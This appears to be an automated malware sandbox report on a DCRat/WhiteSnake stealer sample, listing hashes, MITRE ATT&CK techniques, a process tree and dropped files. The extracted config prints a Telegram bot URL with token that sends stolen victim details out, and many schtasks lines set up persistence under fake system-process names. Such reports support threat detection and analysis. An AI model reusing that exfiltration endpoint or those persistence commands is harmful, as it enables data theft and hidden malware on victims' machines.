dcrat | 8d419b81e2be18d24a334d36e878d4ed7342e1907acc3e71c573807e2a0517ee

Analysis

max time kernel
59s
max time network
60s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
03/01/2025, 19:07

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General

Target

8d419b81e2be18d24a334d36e878d4ed7342e1907acc3e71c573807e2a0517ee.exe
Size

2.1MB
MD5

fcf602e5d062a30e314eecd00cbb70e0
SHA1

752513f1b80bc46fbcc5150719a4e11369547124
SHA256

8d419b81e2be18d24a334d36e878d4ed7342e1907acc3e71c573807e2a0517ee
SHA512

cbdfd157a93f98a06b63528283017e8b970a0d9ff4e7cba6c0805c4b6d10c6be5f1d215cb5a69b2af412861c81f135d04a96143969344022cd5f14f77fec5574
SSDEEP

49152:abA30qNdaq2cO8ZdaNDb5pQb1w4EA19WbPFz54F6JxU5:abdqBsodoDbgb1w4zgdix

Score

10^/10

dcrat gurcu discovery infostealer rat spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot7170051875:AAE6pL_pl17E85H-TlJS2rKEh_uqVfRc8Gk/sendPhoto?chat_id=5922069347&caption=%E2%9D%95%20Pipavsya%20%E2%9D%95%0A%E2%80%A2%20ID%3A%20291322594f2d562de42c69fe01eb01ffed286b20%0A%E2%80%A2%20Comment%3A%20%0A%0A%E2%80%A2%20User%20Name%3A%20Admin%0A%E2%80%A2%20PC%20Name%3A%20GYHASOLS%0A%E2%80%A2%20OS%20Info%3A%20Windows%2010%20Pro%0A%0A%E2%80%A2%20IP%3A%20181.215.176.83%0A%E2%80%A2%20GEO%3A%20GB%20%2F%20London%0A%0A%E2%80%A2%20Working%20Directory%3A%20C%3A%5CUsers%5CAll%20Users%5CMozilla-1de4eec8-1241-4177-a864-e594e8d1fb38%5Cupdates%5Cspoolsv.ex

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat
Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu

Process spawned unexpected child process 42 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	860	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2828	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	388	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4988	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3876	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	372	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	208	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3940	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2012	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1572	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	456	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2444	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5080	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2196	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5076	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	216	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2908	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1920	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3844	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3032	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3624	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5028	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2980	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2884	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1852	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3016	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3160	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	440	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	620	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2792	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1776	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2348	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	556	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4448	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3416	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2992	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4252	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3048	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	612	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3312	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3452	2212	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1844	2212	schtasks.exe	86

DCRat payload 2 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/memory/1916-13-0x00000000008C0000-0x0000000000A90000-memory.dmp	dcrat
behavioral2/files/0x0032000000023b74-11.dat	dcrat

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	System.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	8d419b81e2be18d24a334d36e878d4ed7342e1907acc3e71c573807e2a0517ee.exe

Executes dropped EXE 2 IoCs

pid	Process
1916	System.exe
1864	spoolsv.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	ipinfo.io
23	ipinfo.io

Drops file in Program Files directory 17 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\9e8d7a4ca61bd9	System.exe
File created	C:\Program Files (x86)\Internet Explorer\uk-UA\taskhostw.exe	System.exe
File created	C:\Program Files (x86)\Internet Explorer\uk-UA\ea9f0e6c9e2dcd	System.exe
File created	C:\Program Files\ModifiableWindowsApps\Registry.exe	System.exe
File created	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\System.exe	System.exe
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\RuntimeBroker.exe	System.exe
File created	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\27d1bcfc3c54e0	System.exe
File created	C:\Program Files (x86)\Windows Defender\es-ES\ea9f0e6c9e2dcd	System.exe
File created	C:\Program Files\Microsoft Office 15\ClientX64\csrss.exe	System.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\cmd.exe	System.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\ebf1f9fa8afd6d	System.exe
File created	C:\Program Files\dotnet\host\fxr\7.0.16\66fc9ff0ee96c2	System.exe
File created	C:\Program Files\Microsoft Office 15\ClientX64\886983d96e3d3e	System.exe
File created	C:\Program Files (x86)\Windows Defender\ja-JP\sihost.exe	System.exe
File created	C:\Program Files (x86)\Windows Defender\ja-JP\66fc9ff0ee96c2	System.exe
File created	C:\Program Files (x86)\Windows Defender\es-ES\taskhostw.exe	System.exe
File created	C:\Program Files\dotnet\host\fxr\7.0.16\sihost.exe	System.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File created	C:\Windows\Containers\serviced\ee2ad38f3d4382	System.exe
File created	C:\Windows\twain_32\smss.exe	System.exe
File created	C:\Windows\twain_32\69ddcba757bf72	System.exe
File created	C:\Windows\SKB\LanguageModels\spoolsv.exe	System.exe
File opened for modification	C:\Windows\SKB\LanguageModels\spoolsv.exe	System.exe
File created	C:\Windows\SKB\LanguageModels\f3b6ecef712a24	System.exe
File created	C:\Windows\Containers\serviced\Registry.exe	System.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8d419b81e2be18d24a334d36e878d4ed7342e1907acc3e71c573807e2a0517ee.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings	System.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings	8d419b81e2be18d24a334d36e878d4ed7342e1907acc3e71c573807e2a0517ee.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 42 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2828	schtasks.exe
4988	schtasks.exe
5080	schtasks.exe
216	schtasks.exe
1920	schtasks.exe
3844	schtasks.exe
612	schtasks.exe
388	schtasks.exe
372	schtasks.exe
208	schtasks.exe
2012	schtasks.exe
5076	schtasks.exe
3312	schtasks.exe
1844	schtasks.exe
860	schtasks.exe
3940	schtasks.exe
2884	schtasks.exe
3016	schtasks.exe
2992	schtasks.exe
3452	schtasks.exe
2196	schtasks.exe
3624	schtasks.exe
3876	schtasks.exe
1572	schtasks.exe
2348	schtasks.exe
4448	schtasks.exe
3416	schtasks.exe
4252	schtasks.exe
1852	schtasks.exe
2792	schtasks.exe
456	schtasks.exe
3032	schtasks.exe
5028	schtasks.exe
2980	schtasks.exe
3160	schtasks.exe
440	schtasks.exe
620	schtasks.exe
1776	schtasks.exe
2444	schtasks.exe
2908	schtasks.exe
556	schtasks.exe
3048	schtasks.exe

Suspicious behavior: EnumeratesProcesses 62 IoCs

pid	Process
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1916	System.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe
1864	spoolsv.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1916	System.exe
Token: SeDebugPrivilege	1864	spoolsv.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4440 wrote to memory of 2112	4440	8d419b81e2be18d24a334d36e878d4ed7342e1907acc3e71c573807e2a0517ee.exe	82
PID 4440 wrote to memory of 2112	4440	8d419b81e2be18d24a334d36e878d4ed7342e1907acc3e71c573807e2a0517ee.exe	82
PID 4440 wrote to memory of 2112	4440	8d419b81e2be18d24a334d36e878d4ed7342e1907acc3e71c573807e2a0517ee.exe	82
PID 2112 wrote to memory of 2832	2112	WScript.exe	83
PID 2112 wrote to memory of 2832	2112	WScript.exe	83
PID 2112 wrote to memory of 2832	2112	WScript.exe	83
PID 2832 wrote to memory of 1916	2832	cmd.exe	85
PID 2832 wrote to memory of 1916	2832	cmd.exe	85
PID 1916 wrote to memory of 4504	1916	System.exe	129
PID 1916 wrote to memory of 4504	1916	System.exe	129
PID 4504 wrote to memory of 5072	4504	cmd.exe	131
PID 4504 wrote to memory of 5072	4504	cmd.exe	131
PID 4504 wrote to memory of 1864	4504	cmd.exe	132
PID 4504 wrote to memory of 1864	4504	cmd.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\8d419b81e2be18d24a334d36e878d4ed7342e1907acc3e71c573807e2a0517ee.exe
"C:\Users\Admin\AppData\Local\Temp\8d419b81e2be18d24a334d36e878d4ed7342e1907acc3e71c573807e2a0517ee.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4440
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\ProgramData\ssh\ISbhVq9wety.vbe"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\ProgramData\ssh\85IycAs.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2832
  - - C:\ProgramData\ssh\System.exe
      "C:\\ProgramData\ssh\System.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Drops file in Program Files directory
      Drops file in Windows directory
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1916
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\d8laFNMTvE.bat"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4504
      - C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        6⤵
        
        PID:5072
      - C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\spoolsv.exe
        
        "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\spoolsv.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1864

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 5 /tr "'C:\Windows\SKB\LanguageModels\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Windows\SKB\LanguageModels\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\Windows\SKB\LanguageModels\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3312

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\TextInputHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3048

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4252

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\Windows\Containers\serviced\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2992

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Windows\Containers\serviced\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 10 /tr "'C:\Windows\Containers\serviced\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4448

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Internet Explorer\uk-UA\taskhostw.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\uk-UA\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Internet Explorer\uk-UA\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:556

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1776

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2792

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 8 /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:440

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3160

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3016

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Defender\ja-JP\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\ja-JP\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Defender\ja-JP\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3876

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2980

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 10 /tr "'C:\Program Files\Reference Assemblies\Microsoft\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 11 /tr "'C:\Program Files\Reference Assemblies\Microsoft\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 7 /tr "'C:\Windows\twain_32\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1920

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Windows\twain_32\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2908

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 7 /tr "'C:\Windows\twain_32\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Defender\es-ES\taskhostw.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\es-ES\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5076

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Defender\es-ES\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2196

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 14 /tr "'C:\Program Files\dotnet\host\fxr\7.0.16\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5080

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Program Files\dotnet\host\fxr\7.0.16\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 9 /tr "'C:\Program Files\dotnet\host\fxr\7.0.16\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1572

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\ssh\85IycAs.bat

Filesize
32B

MD5
4d4409a367ef4772862bea99e3e105b1

SHA1
ef19882a87bb8e86d100008e70f81d42c722be9c

SHA256
c0a3379f12d6d1b19373734f78ee5f83a30f09ad56d8b53ed68ad7fe1648ebd7

SHA512
